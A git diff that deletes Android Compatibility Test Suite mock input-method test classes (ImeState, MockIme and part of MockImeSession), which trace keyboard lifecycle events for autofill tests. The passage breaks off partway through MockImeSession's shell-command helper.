-            mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
-            return this;
-        }
-
-        /**
-         * Controls whether {@link MockIme} is allowed to change the behavior based on
-         * {@link android.content.res.Configuration#keyboard} and
-         * {@link android.content.res.Configuration#hardKeyboardHidden}.
-         *
-         * <p>Methods in {@link android.inputmethodservice.InputMethodService} such as
-         * {@link android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()} and
-         * {@link android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)}
-         * change their behaviors when a hardware keyboard is attached.  This is confusing when
-         * writing tests so by default {@link MockIme} tries to cancel those behaviors.  This
-         * settings re-enables such a behavior.</p>
-         *
-         * @param allowed {@code true} when {@link MockIme} is allowed to change the behavior when
-         *                a hardware keyboard is attached
-         *
-         * @see android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()
-         * @see android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)
-         */
-        public Builder setHardKeyboardConfigurationBehaviorAllowed(boolean allowed) {
-            mBundle.putBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, allowed);
-            return this;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java b/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
deleted file mode 100644
index 0135b30..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable object that stores several runtime state of {@link MockIme}.
- */
-public final class ImeState {
-    private final boolean mHasInputBinding;
-    private final boolean mHasDummyInputConnection;
-
-    /**
-     * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
-     *         {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
-     */
-    public boolean hasInputBinding() {
-        return mHasInputBinding;
-    }
-
-    /**
-     * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
-     *         {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
-     */
-    public boolean hasDummyInputConnection() {
-        return mHasDummyInputConnection;
-    }
-
-    ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
-        mHasInputBinding = hasInputBinding;
-        mHasDummyInputConnection = hasDummyInputConnection;
-    }
-
-    @NonNull
-    Bundle toBundle() {
-        final Bundle bundle = new Bundle();
-        bundle.putBoolean("mHasInputBinding", mHasInputBinding);
-        bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
-        return bundle;
-    }
-
-    @Nullable
-    static ImeState fromBundle(@Nullable Bundle bundle) {
-        if (bundle == null) {
-            return null;
-        }
-        final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
-        final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
-        return new ImeState(hasInputBinding, hasDummyInputConnection);
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java b/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
deleted file mode 100644
index 52a1182..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.inputmethodservice.InputMethodService;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Process;
-import android.os.ResultReceiver;
-import android.os.SystemClock;
-import androidx.annotation.AnyThread;
-import androidx.annotation.CallSuper;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.annotation.WorkerThread;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.TypedValue;
-import android.view.Gravity;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.Window;
-import android.view.WindowInsets;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-import android.view.inputmethod.InputMethod;
-import android.widget.LinearLayout;
-import android.widget.RelativeLayout;
-import android.widget.TextView;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.BooleanSupplier;
-import java.util.function.Consumer;
-import java.util.function.Supplier;
-
-/**
- * Mock IME for end-to-end tests.
- */
-public final class MockIme extends InputMethodService {
-
-    private static final String TAG = "MockIme";
-
-    private static final String PACKAGE_NAME = "android.autofillservice.cts";
-
-    static ComponentName getComponentName() {
-        return new ComponentName(PACKAGE_NAME, MockIme.class.getName());
-    }
-
-    static String getImeId() {
-        return getComponentName().flattenToShortString();
-    }
-
-    static String getCommandActionName(@NonNull String eventActionName) {
-        return eventActionName + ".command";
-    }
-
-    private final HandlerThread mHandlerThread = new HandlerThread("CommandReceiver");
-
-    private final Handler mMainHandler = new Handler();
-
-    private static final class CommandReceiver extends BroadcastReceiver {
-        @NonNull
-        private final String mActionName;
-        @NonNull
-        private final Consumer<ImeCommand> mOnReceiveCommand;
-
-        CommandReceiver(@NonNull String actionName,
-                @NonNull Consumer<ImeCommand> onReceiveCommand) {
-            mActionName = actionName;
-            mOnReceiveCommand = onReceiveCommand;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (TextUtils.equals(mActionName, intent.getAction())) {
-                mOnReceiveCommand.accept(ImeCommand.fromBundle(intent.getExtras()));
-            }
-        }
-    }
-
-    @WorkerThread
-    private void onReceiveCommand(@NonNull ImeCommand command) {
-        getTracer().onReceiveCommand(command, () -> {
-            if (command.shouldDispatchToMainThread()) {
-                mMainHandler.post(() -> onHandleCommand(command));
-            } else {
-                onHandleCommand(command);
-            }
-        });
-    }
-
-    @AnyThread
-    private void onHandleCommand(@NonNull ImeCommand command) {
-        getTracer().onHandleCommand(command, () -> {
-            if (command.shouldDispatchToMainThread()) {
-                if (Looper.myLooper() != Looper.getMainLooper()) {
-                    throw new IllegalStateException("command " + command
-                            + " should be handled on the main thread");
-                }
-                switch (command.getName()) {
-                    case "commitText": {
-                        final CharSequence text = command.getExtras().getString("text");
-                        final int newCursorPosition =
-                                command.getExtras().getInt("newCursorPosition");
-                        getCurrentInputConnection().commitText(text, newCursorPosition);
-                        break;
-                    }
-                    case "setBackDisposition": {
-                        final int backDisposition =
-                                command.getExtras().getInt("backDisposition");
-                        setBackDisposition(backDisposition);
-                        break;
-                    }
-                    case "requestHideSelf": {
-                        final int flags = command.getExtras().getInt("flags");
-                        requestHideSelf(flags);
-                        break;
-                    }
-                    case "requestShowSelf": {
-                        final int flags = command.getExtras().getInt("flags");
-                        requestShowSelf(flags);
-                        break;
-                    }
-                }
-            }
-        });
-    }
-
-    @Nullable
-    private CommandReceiver mCommandReceiver;
-
-    @Nullable
-    private ImeSettings mSettings;
-
-    private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
-
-    @Nullable
-    String getImeEventActionName() {
-        return mImeEventActionName.get();
-    }
-
-    private final AtomicReference<String> mClientPackageName = new AtomicReference<>();
-
-    @Nullable
-    String getClientPackageName() {
-        return mClientPackageName.get();
-    }
-
-    private class MockInputMethodImpl extends InputMethodImpl {
-        @Override
-        public void showSoftInput(int flags, ResultReceiver resultReceiver) {
-            getTracer().showSoftInput(flags, resultReceiver,
-                    () -> super.showSoftInput(flags, resultReceiver));
-        }
-
-        @Override
-        public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
-            getTracer().hideSoftInput(flags, resultReceiver,
-                    () -> super.hideSoftInput(flags, resultReceiver));
-        }
-
-        @Override
-        public void attachToken(IBinder token) {
-            getTracer().attachToken(token, () -> super.attachToken(token));
-        }
-
-        @Override
-        public void bindInput(InputBinding binding) {
-            getTracer().bindInput(binding, () -> super.bindInput(binding));
-        }
-
-        @Override
-        public void unbindInput() {
-            getTracer().unbindInput(() -> super.unbindInput());
-        }
-    }
-
-    @Override
-    public void onCreate() {
-        // Initialize minimum settings to send events in Tracer#onCreate().
-        mSettings = SettingsProvider.getSettings();
-        if (mSettings == null) {
-            throw new IllegalStateException("Settings file is not found. "
-                    + "Make sure MockImeSession.create() is used to launch Mock IME.");
-        }
-        mClientPackageName.set(mSettings.getClientPackageName());
-        mImeEventActionName.set(mSettings.getEventCallbackActionName());
-
-        getTracer().onCreate(() -> {
-            super.onCreate();
-            mHandlerThread.start();
-            final String actionName = getCommandActionName(mSettings.getEventCallbackActionName());
-            mCommandReceiver = new CommandReceiver(actionName, this::onReceiveCommand);
-            final IntentFilter filter = new IntentFilter(actionName);
-            final Handler handler = new Handler(mHandlerThread.getLooper());
-            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-                registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler,
-                        Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
-            } else {
-                registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
-            }
-
-            final int windowFlags = mSettings.getWindowFlags(0);
-            final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
-            if (windowFlags != 0 || windowFlagsMask != 0) {
-                final int prevFlags = getWindow().getWindow().getAttributes().flags;
-                getWindow().getWindow().setFlags(windowFlags, windowFlagsMask);
-                // For some reasons, seems that we need to post another requestLayout() when
-                // FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS bit is changed.
-                // TODO: Investigate the reason.
-                if ((windowFlagsMask & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0) {
-                    final boolean hadFlag = (prevFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
-                    final boolean hasFlag = (windowFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
-                    if (hadFlag != hasFlag) {
-                        final View decorView = getWindow().getWindow().getDecorView();
-                        decorView.post(() -> decorView.requestLayout());
-                    }
-                }
-            }
-
-            if (mSettings.hasNavigationBarColor()) {
-                getWindow().getWindow().setNavigationBarColor(mSettings.getNavigationBarColor());
-            }
-        });
-    }
-
-    @Override
-    public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
-        getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
-                () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
-    }
-
-    @Override
-    public boolean onEvaluateFullscreenMode() {
-        return getTracer().onEvaluateFullscreenMode(() ->
-                mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
-    }
-
-    private static final class KeyboardLayoutView extends LinearLayout {
-        @NonNull
-        private final ImeSettings mSettings;
-        @NonNull
-        private final View.OnLayoutChangeListener mLayoutListener;
-
-        KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings,
-                @Nullable Consumer<ImeLayoutInfo> onInputViewLayoutChangedCallback) {
-            super(context);
-
-            mSettings = imeSettings;
-
-            setOrientation(VERTICAL);
-
-            final int defaultBackgroundColor =
-                    getResources().getColor(android.R.color.holo_orange_dark, null);
-            setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
-
-            final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
-                    LayoutParams.WRAP_CONTENT);
-            {
-                final RelativeLayout layout = new RelativeLayout(getContext());
-                final TextView textView = new TextView(getContext());
-                final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
-                        RelativeLayout.LayoutParams.MATCH_PARENT,
-                        RelativeLayout.LayoutParams.WRAP_CONTENT);
-                params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
-                textView.setLayoutParams(params);
-                textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
-                textView.setGravity(Gravity.CENTER);
-                textView.setText(getImeId());
-                layout.addView(textView);
-                addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
-            }
-
-            final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
-            if (systemUiVisibility != 0) {
-                setSystemUiVisibility(systemUiVisibility);
-            }
-
-            mLayoutListener = (View v, int left, int top, int right, int bottom, int oldLeft,
-                    int oldTop, int oldRight, int oldBottom) ->
-                    onInputViewLayoutChangedCallback.accept(
-                            ImeLayoutInfo.fromLayoutListenerCallback(
-                                    v, left, top, right, bottom, oldLeft, oldTop, oldRight,
-                                    oldBottom));
-            this.addOnLayoutChangeListener(mLayoutListener);
-        }
-
-        private void updateBottomPaddingIfNecessary(int newPaddingBottom) {
-            if (getPaddingBottom() != newPaddingBottom) {
-                setPadding(getPaddingLeft(), getPaddingTop(), getPaddingRight(), newPaddingBottom);
-            }
-        }
-
-        @Override
-        public WindowInsets onApplyWindowInsets(WindowInsets insets) {
-            if (insets.isConsumed()
-                    || (getSystemUiVisibility() & SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION) == 0) {
-                // In this case we are not interested in consuming NavBar region.
-                // Make sure that the bottom padding is empty.
-                updateBottomPaddingIfNecessary(0);
-                return insets;
-            }
-
-            // In some cases the bottom system window inset is not a navigation bar. Wear devices
-            // that have bottom chin are examples.  For now, assume that it's a navigation bar if it
-            // has the same height as the root window's stable bottom inset.
-            final WindowInsets rootWindowInsets = getRootWindowInsets();
-            if (rootWindowInsets != null && (rootWindowInsets.getStableInsetBottom()
-                    != insets.getSystemWindowInsetBottom())) {
-                // This is probably not a NavBar.
-                updateBottomPaddingIfNecessary(0);
-                return insets;
-            }
-
-            final int possibleNavBarHeight = insets.getSystemWindowInsetBottom();
-            updateBottomPaddingIfNecessary(possibleNavBarHeight);
-            return possibleNavBarHeight <= 0
-                    ? insets
-                    : insets.replaceSystemWindowInsets(
-                            insets.getSystemWindowInsetLeft(),
-                            insets.getSystemWindowInsetTop(),
-                            insets.getSystemWindowInsetRight(),
-                            0 /* bottom */);
-        }
-
-        @Override
-        protected void onDetachedFromWindow() {
-            super.onDetachedFromWindow();
-            removeOnLayoutChangeListener(mLayoutListener);
-        }
-    }
-
-    private void onInputViewLayoutChanged(@NonNull ImeLayoutInfo layoutInfo) {
-        getTracer().onInputViewLayoutChanged(layoutInfo, () -> { });
-    }
-
-    @Override
-    public View onCreateInputView() {
-        return getTracer().onCreateInputView(() ->
-                new KeyboardLayoutView(this, mSettings, this::onInputViewLayoutChanged));
-    }
-
-    @Override
-    public void onStartInput(EditorInfo editorInfo, boolean restarting) {
-        getTracer().onStartInput(editorInfo, restarting,
-                () -> super.onStartInput(editorInfo, restarting));
-    }
-
-    @Override
-    public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
-        getTracer().onStartInputView(editorInfo, restarting,
-                () -> super.onStartInputView(editorInfo, restarting));
-    }
-
-    @Override
-    public void onFinishInputView(boolean finishingInput) {
-        getTracer().onFinishInputView(finishingInput,
-                () -> super.onFinishInputView(finishingInput));
-    }
-
-    @Override
-    public void onFinishInput() {
-        getTracer().onFinishInput(() -> super.onFinishInput());
-    }
-
-    @Override
-    public boolean onKeyDown(int keyCode, KeyEvent event) {
-        return getTracer().onKeyDown(keyCode, event, () -> super.onKeyDown(keyCode, event));
-    }
-
-    @CallSuper
-    public boolean onEvaluateInputViewShown() {
-        return getTracer().onEvaluateInputViewShown(() -> {
-            // onShowInputRequested() is indeed @CallSuper so we always call this, even when the
-            // result is ignored.
-            final boolean originalResult = super.onEvaluateInputViewShown();
-            if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
-                final Configuration config = getResources().getConfiguration();
-                if (config.keyboard != Configuration.KEYBOARD_NOKEYS
-                        && config.hardKeyboardHidden != Configuration.HARDKEYBOARDHIDDEN_YES) {
-                    // Override the behavior of InputMethodService#onEvaluateInputViewShown()
-                    return true;
-                }
-            }
-            return originalResult;
-        });
-    }
-
-    @Override
-    public boolean onShowInputRequested(int flags, boolean configChange) {
-        return getTracer().onShowInputRequested(flags, configChange, () -> {
-            // onShowInputRequested() is not marked with @CallSuper, but just in case.
-            final boolean originalResult = super.onShowInputRequested(flags, configChange);
-            if (!mSettings.getHardKeyboardConfigurationBehaviorAllowed(false)) {
-                if ((flags & InputMethod.SHOW_EXPLICIT) == 0
-                        && getResources().getConfiguration().keyboard
-                        != Configuration.KEYBOARD_NOKEYS) {
-                    // Override the behavior of InputMethodService#onShowInputRequested()
-                    return true;
-                }
-            }
-            return originalResult;
-        });
-    }
-
-    @Override
-    public void onDestroy() {
-        getTracer().onDestroy(() -> {
-            super.onDestroy();
-            unregisterReceiver(mCommandReceiver);
-            mHandlerThread.quitSafely();
-        });
-    }
-
-    @Override
-    public AbstractInputMethodImpl onCreateInputMethodInterface() {
-        return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
-    }
-
-    private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
-
-    private Tracer getTracer() {
-        Tracer tracer = mThreadLocalTracer.get();
-        if (tracer == null) {
-            tracer = new Tracer(this);
-            mThreadLocalTracer.set(tracer);
-        }
-        return tracer;
-    }
-
-    @NonNull
-    private ImeState getState() {
-        final boolean hasInputBinding = getCurrentInputBinding() != null;
-        final boolean hasDummyInputConnectionConnection =
-                !hasInputBinding
-                        || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
-        return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
-    }
-
-    /**
-     * Event tracing helper class for {@link MockIme}.
-     */
-    private static final class Tracer {
-
-        @NonNull
-        private final MockIme mIme;
-
-        private final int mThreadId = Process.myTid();
-
-        @NonNull
-        private final String mThreadName =
-                Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
-
-        private final boolean mIsMainThread =
-                Looper.getMainLooper().getThread() == Thread.currentThread();
-
-        private int mNestLevel = 0;
-
-        private String mImeEventActionName;
-
-        private String mClientPackageName;
-
-        Tracer(@NonNull MockIme mockIme) {
-            mIme = mockIme;
-        }
-
-        private void sendEventInternal(@NonNull ImeEvent event) {
-            if (mImeEventActionName == null) {
-                mImeEventActionName = mIme.getImeEventActionName();
-            }
-            if (mClientPackageName == null) {
-                mClientPackageName = mIme.getClientPackageName();
-            }
-            if (mImeEventActionName == null || mClientPackageName == null) {
-                Log.e(TAG, "Tracer cannot be used before onCreate()");
-                return;
-            }
-            final Intent intent = new Intent()
-                    .setAction(mImeEventActionName)
-                    .setPackage(mClientPackageName)
-                    .putExtras(event.toBundle())
-                    .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY
-                            | Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS);
-            mIme.sendBroadcast(intent);
-        }
-
-        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
-            recordEventInternal(eventName, runnable, new Bundle());
-        }
-
-        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
-                @NonNull Bundle arguments) {
-            recordEventInternal(eventName, () -> {
-                runnable.run(); return null;
-            }, arguments);
-        }
-
-        private <T> T recordEventInternal(@NonNull String eventName,
-                @NonNull Supplier<T> supplier) {
-            return recordEventInternal(eventName, supplier, new Bundle());
-        }
-
-        private <T> T recordEventInternal(@NonNull String eventName,
-                @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
-            final ImeState enterState = mIme.getState();
-            final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
-            final long enterWallTime = System.currentTimeMillis();
-            final int nestLevel = mNestLevel;
-            // Send enter event
-            sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
-                    mThreadId, mIsMainThread, enterTimestamp, 0, enterWallTime,
-                    0, enterState, null, arguments, null));
-            ++mNestLevel;
-            T result;
-            try {
-                result = supplier.get();
-            } finally {
-                --mNestLevel;
-            }
-            final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
-            final long exitWallTime = System.currentTimeMillis();
-            final ImeState exitState = mIme.getState();
-            // Send exit event
-            sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
-                    mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
-                    exitWallTime, enterState, exitState, arguments, result));
-            return result;
-        }
-
-        public void onCreate(@NonNull Runnable runnable) {
-            recordEventInternal("onCreate", runnable);
-        }
-
-        public void onConfigureWindow(Window win, boolean isFullscreen,
-                boolean isCandidatesOnly, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBoolean("isFullscreen", isFullscreen);
-            arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
-            recordEventInternal("onConfigureWindow", runnable, arguments);
-        }
-
-        public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier supplier) {
-            return recordEventInternal("onEvaluateFullscreenMode", supplier::getAsBoolean);
-        }
-
-        public boolean onEvaluateInputViewShown(@NonNull BooleanSupplier supplier) {
-            return recordEventInternal("onEvaluateInputViewShown", supplier::getAsBoolean);
-        }
-
-        public View onCreateInputView(@NonNull Supplier<View> supplier) {
-            return recordEventInternal("onCreateInputView", supplier);
-        }
-
-        public void onStartInput(EditorInfo editorInfo, boolean restarting,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("editorInfo", editorInfo);
-            arguments.putBoolean("restarting", restarting);
-            recordEventInternal("onStartInput", runnable, arguments);
-        }
-
-        public void onStartInputView(EditorInfo editorInfo, boolean restarting,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("editorInfo", editorInfo);
-            arguments.putBoolean("restarting", restarting);
-            recordEventInternal("onStartInputView", runnable, arguments);
-        }
-
-        public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBoolean("finishingInput", finishingInput);
-            recordEventInternal("onFinishInputView", runnable, arguments);
-        }
-
-        public void onFinishInput(@NonNull Runnable runnable) {
-            recordEventInternal("onFinishInput", runnable);
-        }
-
-        public boolean onKeyDown(int keyCode, KeyEvent event, @NonNull BooleanSupplier supplier) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("keyCode", keyCode);
-            arguments.putParcelable("event", event);
-            return recordEventInternal("onKeyDown", supplier::getAsBoolean, arguments);
-        }
-
-        public boolean onShowInputRequested(int flags, boolean configChange,
-                @NonNull BooleanSupplier supplier) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putBoolean("configChange", configChange);
-            return recordEventInternal("onShowInputRequested", supplier::getAsBoolean, arguments);
-        }
-
-        public void onDestroy(@NonNull Runnable runnable) {
-            recordEventInternal("onDestroy", runnable);
-        }
-
-        public void attachToken(IBinder token, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBinder("token", token);
-            recordEventInternal("attachToken", runnable, arguments);
-        }
-
-        public void bindInput(InputBinding binding, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putParcelable("binding", binding);
-            recordEventInternal("bindInput", runnable, arguments);
-        }
-
-        public void unbindInput(@NonNull Runnable runnable) {
-            recordEventInternal("unbindInput", runnable);
-        }
-
-        public void showSoftInput(int flags, ResultReceiver resultReceiver,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putParcelable("resultReceiver", resultReceiver);
-            recordEventInternal("showSoftInput", runnable, arguments);
-        }
-
-        public void hideSoftInput(int flags, ResultReceiver resultReceiver,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putInt("flags", flags);
-            arguments.putParcelable("resultReceiver", resultReceiver);
-            recordEventInternal("hideSoftInput", runnable, arguments);
-        }
-
-        public AbstractInputMethodImpl onCreateInputMethodInterface(
-                @NonNull Supplier<AbstractInputMethodImpl> supplier) {
-            return recordEventInternal("onCreateInputMethodInterface", supplier);
-        }
-
-        public void onReceiveCommand(
-                @NonNull ImeCommand command, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBundle("command", command.toBundle());
-            recordEventInternal("onReceiveCommand", runnable, arguments);
-        }
-
-        public void onHandleCommand(
-                @NonNull ImeCommand command, @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            arguments.putBundle("command", command.toBundle());
-            recordEventInternal("onHandleCommand", runnable, arguments);
-        }
-
-        public void onInputViewLayoutChanged(@NonNull ImeLayoutInfo imeLayoutInfo,
-                @NonNull Runnable runnable) {
-            final Bundle arguments = new Bundle();
-            imeLayoutInfo.writeToBundle(arguments);
-            recordEventInternal("onInputViewLayoutChanged", runnable, arguments);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java b/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
deleted file mode 100644
index 727da2cf..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockImeSession.java
+++ /dev/null
@@ -1,323 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.provider.Settings;
-import androidx.annotation.GuardedBy;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.text.TextUtils;
-import android.view.inputmethod.InputMethodManager;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.io.IOException;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
- * for IME APIs.
- *
- * <p>To use {@link MockIme} via {@link MockImeSession}, you need to </p>
- * <p>Public methods are not thread-safe.</p>
- */
-public class MockImeSession implements AutoCloseable {
-    private final String mImeEventActionName =
-            "com.android.cts.mockime.action.IME_EVENT." + SystemClock.elapsedRealtimeNanos();
-
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10);
-
-    @NonNull
-    private final Context mContext;
-    @NonNull
-    private final UiAutomation mUiAutomation;
-
-    private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
-
-    private static final class EventStore {
-        private static final int INITIAL_ARRAY_SIZE = 32;
-
-        @NonNull
-        public final ImeEvent[] mArray;
-        public int mLength;
-
-        EventStore() {
-            mArray = new ImeEvent[INITIAL_ARRAY_SIZE];
-            mLength = 0;
-        }
-
-        EventStore(EventStore src, int newLength) {
-            mArray = new ImeEvent[newLength];
-            mLength = src.mLength;
-            System.arraycopy(src.mArray, 0, mArray, 0, src.mLength);
-        }
-
-        public EventStore add(ImeEvent event) {
-            if (mLength + 1 <= mArray.length) {
-                mArray[mLength] = event;
-                ++mLength;
-                return this;
-            } else {
-                return new EventStore(this, mLength * 2).add(event);
-            }
-        }
-
-        public ImeEventStream.ImeEventArray takeSnapshot() {
-            return new ImeEventStream.ImeEventArray(mArray, mLength);
-        }
-    }
-
-    private static final class MockImeEventReceiver extends BroadcastReceiver {
-        private final Object mLock = new Object();
-
-        @GuardedBy("mLock")
-        @NonNull
-        private EventStore mCurrentEventStore = new EventStore();
-
-        @NonNull
-        private final String mActionName;
-
-        MockImeEventReceiver(@NonNull String actionName) {
-            mActionName = actionName;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (TextUtils.equals(mActionName, intent.getAction())) {
-                synchronized (mLock) {
-                    mCurrentEventStore =
-                            mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
-                }
-            }
-        }
-
-        public ImeEventStream.ImeEventArray takeEventSnapshot() {
-            synchronized (mLock) {
-                return mCurrentEventStore.takeSnapshot();
-            }
-        }
-    }
-    private final MockImeEventReceiver mEventReceiver =
-            new MockImeEventReceiver(mImeEventActionName);
-
-    private final ImeEventStream mEventStream =
-            new ImeEventStream(mEventReceiver::takeEventSnapshot);
-
-    private static String executeShellCommand(
-            @NonNull UiAutomation uiAutomation, @NonNull String command) throws IOException {
-        try (ParcelFileDescriptor.AutoCloseInputStream in =
-                     new ParcelFileDescriptor.AutoCloseInputStream(
-                             uiAutomation.executeShellCommand(command))) {
-            final StringBuilder sb = new StringBuilder();
-            final byte[] buffer = new byte[4096];
-            while (true) {
-                final int numRead = in.read(buffer);
-                if (numRead <= 0) {
-                    break;
-                }
